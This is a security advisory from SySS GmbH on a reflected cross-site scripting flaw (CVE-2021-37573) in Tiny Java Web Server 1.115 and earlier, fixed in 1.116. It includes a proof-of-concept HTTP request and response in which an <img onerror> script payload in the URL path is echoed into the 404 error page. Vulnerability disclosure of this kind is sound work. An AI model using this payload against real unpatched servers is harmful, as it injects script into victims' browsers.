Tiny Java Web Server 1.115 Cross Site Scripting

Tiny Java Web Server and Servlet Container versions 1.115 and below suffer from a cross site scripting vulnerability.

MD5 | 2aba718a6fc720896d47ec98ca63182e

Advisory ID:                SYSS-2021-042
Product: Tiny Java Web Server and Servlet Container
Manufacturer: D. Rogatkin
Affected Versions: <= 1.115
Tested Versions: 1.107, 1.114
Vulnerability Type: Cross-Site Scripting (CWE-79)
Risk Level: Medium
Solution Status: Fixed
Manufacturer Notification: 2021-07-21
Solution Date: 2021-07-23
Public Disclosure: 2021-08-03
CVE Reference: CVE-2021-37573
Author of Advisory: Maurizio Ruchay, SySS GmbH



Tiny Java Web Server and Servlet Container (TJWS) is a lightweight web
server written in Java.

The manufacturer describes the product as follows (see [1]):
"The Miniature Java Web Server is built as a servlet container with HTTPD
servlet providing standard Web server functionality."

Due to improper input validation, the application is vulnerable to a
reflected cross-site scripting attack.


Vulnerability Details:

It is possible to inject malicious JavaScript code into the server's error
page "404 Page Not Found".

The given input is not properly validated and therefore reflected back
and executed in a victim's browser.


Proof of Concept (PoC):

The following GET request shows how JavaScript code can be placed on
the page:

HTTP request:
GET /te%3Cimg%20src=x%20onerror=alert(42)%3Est HTTP/1.1
Connection: close

HTTP response:
HTTP/1.1 404 te<img src=x onerror=alert(42)>st not found
server: D. Rogatkin's TJWS (+Android, JSR340, JSR356)
https://github.com/drogatkin/TJWS2.git/Version 1.114
content-length: 338
connection: close

<HTML><HEAD><TITLE>404 te<img src=x onerror=alert(42)>st not
<H2>404 te<img src=x onerror=alert(42)>st not found</H2>

If a browser renders the response, the JavaScript code is executed
showing the message "42".



The issue has been addressed in the release version 1.116.[2]
Therefore, all instances of TJWS should be updated to this version.


Disclosure Timeline:

2021-07-02: Vulnerability discovered
2021-07-21: Vulnerability reported to manufacturer
2021-07-23: Patch released by manufacturer
2021-08-03: Public disclosure of vulnerability



[1] Product website for Tiny Java Web Server and Servlet Container (TJWS):
[2] Patch release on Github:
[3] SySS Responsible Disclosure Policy



This security vulnerability was found by Maurizio Ruchay of SySS GmbH.

E-Mail: [email protected]
Public Key:
Key ID: 0xC7D20E267F0FA978
Key Fingerprint: D506 AB5A FE3E 09AE FFBE DEB2 C7D2 0E26 7F0F A978



The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web



Creative Commons - Attribution (by) - Version 3.0
URL: https://creativecommons.org/licenses/by/3.0/deed.en

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